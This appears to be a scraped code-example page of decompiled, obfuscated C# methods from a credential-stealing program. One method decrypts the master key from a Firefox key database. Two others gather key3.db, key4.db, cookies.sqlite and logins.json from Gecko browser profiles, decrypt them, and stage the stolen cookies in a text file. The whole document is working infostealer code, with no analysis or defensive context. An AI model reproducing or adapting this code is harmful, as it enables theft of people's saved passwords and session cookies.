Exemple #1
0
 // Token: 0x06000158 RID: 344 RVA: 0x0000C23C File Offset: 0x0000A43C
 private static byte[] smethod_10(string string_3)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(string_3))
         {
             result = array;
         }
         else
         {
             new DataTable();
             GClass17 gclass17_ = new GClass17(string_3);
             GClass15 gclass    = new GClass15(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_0)));
             string   string_4  = Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_1));
             GClass16 gclass2   = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), Class13.smethod_11(gclass.String_0));
             gclass2.method_0();
             GClass14.smethod_0(gclass2.Byte_3, gclass2.Byte_4, Class13.smethod_11(gclass.String_2), PaddingMode.None);
             GClass12 gclass3 = GClass10.smethod_0(Class13.smethod_11(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_2))));
             GClass16 gclass4 = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), gclass3.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0);
             gclass4.method_0();
             GClass12 gclass5 = GClass10.smethod_0(GClass10.smethod_0(Encoding.Default.GetBytes(GClass14.smethod_0(gclass4.Byte_3, gclass4.Byte_4, gclass3.List_0[0].List_0[1].Byte_0, PaddingMode.None))).List_0[0].List_0[2].Byte_0);
             if (gclass5.List_0[0].List_0[3].Byte_0.Length <= 24)
             {
                 array  = gclass5.List_0[0].List_0[3].Byte_0;
                 result = array;
             }
             else
             {
                 Array.Copy(gclass5.List_0[0].List_0[3].Byte_0, gclass5.List_0[0].List_0[3].Byte_0.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }
Exemple #2
0
        // Token: 0x06000151 RID: 337 RVA: 0x0000B6FC File Offset: 0x000098FC
        public static void smethod_2()
        {
            if (!Directory.Exists(GClass9.string_6 + "\\Browsers"))
            {
                Directory.CreateDirectory(GClass9.string_6 + "\\Browsers");
            }
            List <string> list = new List <string>();

            list.AddRange(Class13.smethod_0(Class13.string_0, 4, 1, new string[]
            {
                "key3.db",
                "key4.db",
                "cookies.sqlite",
                "logins.json"
            }));
            list.AddRange(Class13.smethod_0(Class13.string_2, 4, 1, new string[]
            {
                "key3.db",
                "key4.db",
                "cookies.sqlite",
                "logins.json"
            }));
            foreach (string text in list)
            {
                string fullName = new FileInfo(text).Directory.FullName;
                string string_  = text.Contains(Class13.string_2) ? Class13.smethod_13(fullName) : Class13.smethod_14(fullName);
                string string_2 = Class13.smethod_4(fullName);
                Class13.smethod_7(fullName, string_, string_2);
                string text2 = "";
                foreach (string str in Class13.list_1)
                {
                    text2 += str;
                }
                if (text2 != "")
                {
                    File.WriteAllText(GClass9.string_6 + "\\Browsers\\Cookies_Gecko.txt", text2, Encoding.Default);
                }
            }
        }
Exemple #3
0
        // Token: 0x06000152 RID: 338 RVA: 0x0000B8D8 File Offset: 0x00009AD8
        public static void smethod_3()
        {
            if (!Directory.Exists(GClass9.string_6 + "\\Browsers"))
            {
                Directory.CreateDirectory(GClass9.string_6 + "\\Browsers");
            }
            List <string> list = new List <string>();

            list.AddRange(Class13.smethod_0(Class13.string_0, 4, 1, new string[]
            {
                "key3.db",
                "key4.db",
                "cookies.sqlite",
                "logins.json"
            }));
            list.AddRange(Class13.smethod_0(Class13.string_2, 4, 1, new string[]
            {
                "key3.db",
                "key4.db",
                "cookies.sqlite",
                "logins.json"
            }));
            foreach (string text in list)
            {
                string fullName = new FileInfo(text).Directory.FullName;
                string string_  = text.Contains(Class13.string_2) ? Class13.smethod_13(fullName) : Class13.smethod_14(fullName);
                string string_2 = Class13.smethod_4(fullName);
                Class13.smethod_1(fullName, string_, string_2);
            }
        }